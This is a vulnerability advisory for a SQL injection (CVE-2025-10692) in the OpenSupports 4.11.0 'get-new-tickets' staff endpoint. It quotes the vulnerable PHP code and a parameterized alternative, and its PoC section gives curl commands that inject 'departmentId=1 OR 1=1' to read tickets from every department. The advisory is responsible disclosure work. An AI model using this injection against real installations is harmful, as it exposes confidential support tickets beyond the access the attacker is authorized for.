OpenSupports 4.11.0 — SQL Injection

7,1

High

7,1

High

Discovered by

Cristian Vargas

Offensive Team, Fluid Attacks

Summary

Full name

OpenSupports 4.11.0 — SQL Injection in staff “get-new-tickets” endpoint

Code name

State

Public

Release date

3 de out. de 2025

Affected product

OpenSupports

Vendor

OpenSupports

Affected version(s)

4.11.0

Vulnerability name

SQL Injection

Vulnerability type

Remotely exploitable

Yes

CVSS v4.0 vector string

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N

CVSS v4.0 base score

7.1

Exploit available

Yes

Description

The endpoint POST /api/staff/get-new-tickets concatenates the user-controlled parameter departmentId directly into the SQL WHERE clause without parameter binding. As a result, an authenticated staff user (level ≥ 1) can inject SQL to alter the filter logic (e.g., tautologies or time-based primitives), effectively bypassing department scoping and disclosing tickets beyond their intended access.

Vulnerability

Relevant backend fragments:

  • Vulnerable concatenation (server/controllers/staff/get-new-tickets.php):

$departmentId = Controller::request('departmentId');
...
if($departmentId) {
    $query .= ' AND department_id=' . $departmentId; // <-- injection
}
$countTotal = Ticket::count($query);
$query .= ' ORDER BY unread_staff DESC';
$query .= ' LIMIT ' . $pageSize . ' OFFSET ' . ($page-1)*10;
$ticketList = Ticket::find($query);
  • Secure pattern for comparison (server/controllers/staff/get-tickets.php):

$condition = 'TRUE';
$bindings = [];
if($departmentId) { $condition .= ' AND department_id = ?'; $bindings[] = $departmentId; }
$countTotal = $user->withCondition($condition, $bindings)->countShared('ticket');
...
  • Confidentiality breach: a low-privileged staff user can list “new tickets” across all departments by injecting into the department filter, gaining visibility into titles, content excerpts, and metadata.

  • Scope escalation: bypass of authorization-by-filter (department-based access control) in the “new tickets” view.

PoC

  • Log in as a staff user (level 1) and extract CSRF:

curl -c s.cookies -sS -X POST 'http://localhost:5543/api/user/login' \
  -d 'staff=1' -d 'email=staff2@yopmail.com' -d 'password=Test1234@' | tee s_login.json
export U_ID=$(jq -r '.data.userId' s_login.json)
export TOK=$(jq -r '.data.token' s_login.json)
  • Baseline request (no injection):

curl -b s.cookies -sS -X POST 'http://localhost:5543/api/staff/get-new-tickets' \
  -d "csrf_userid=$U_ID" -d "csrf_token=$TOK" -d 'page=1' -d 'pageSize=10' | jq '.'
  • Tautology injection — expand scope to all departments:

curl -b s.cookies -sS -X POST 'http://localhost:5543/api/staff/get-new-tickets' \
  -d "csrf_userid=$U_ID" -d "csrf_token=$TOK" -d 'page=1' -d 'pageSize=10' \
  -d 'departmentId=1 OR 1=1' | jq '.'

Evidence of Exploitation

Our security policy

We have reserved the ID CVE-2025-10692 to refer to this issue from now on.

Disclosure policy

System Information

  • OpenSupports

  • Version 4.11.0

  • Operating System: Any

References

Mitigation

There is currently no patch available for this vulnerability.

Credits

The vulnerability was discovered by Cristian Vargas from Fluid Attacks' Offensive Team.

Timeline

8 de set. de 2025

Vulnerability discovered

18 de set. de 2025

Vendor contacted

3 de out. de 2025

Public disclosure

Does your application use this vulnerable software?

During our free trial, our tools assess your application, identify vulnerabilities, and provide recommendations for their remediation.

As soluções da Fluid Attacks permitem que as organizações identifiquem, priorizem e corrijam vulnerabilidades em seus softwares ao longo do SDLC. Com o apoio de IA, ferramentas automatizadas e pentesters, a Fluid Attacks acelera a mitigação da exposição ao risco das empresas e fortalece sua postura de cibersegurança.

Assine nossa newsletter

Mantenha-se atualizado sobre nossos próximos eventos e os últimos posts do blog, advisories e outros recursos interessantes.

As soluções da Fluid Attacks permitem que as organizações identifiquem, priorizem e corrijam vulnerabilidades em seus softwares ao longo do SDLC. Com o apoio de IA, ferramentas automatizadas e pentesters, a Fluid Attacks acelera a mitigação da exposição ao risco das empresas e fortalece sua postura de cibersegurança.

Assine nossa newsletter

Mantenha-se atualizado sobre nossos próximos eventos e os últimos posts do blog, advisories e outros recursos interessantes.

As soluções da Fluid Attacks permitem que as organizações identifiquem, priorizem e corrijam vulnerabilidades em seus softwares ao longo do SDLC. Com o apoio de IA, ferramentas automatizadas e pentesters, a Fluid Attacks acelera a mitigação da exposição ao risco das empresas e fortalece sua postura de cibersegurança.

Assine nossa newsletter

Mantenha-se atualizado sobre nossos próximos eventos e os últimos posts do blog, advisories e outros recursos interessantes.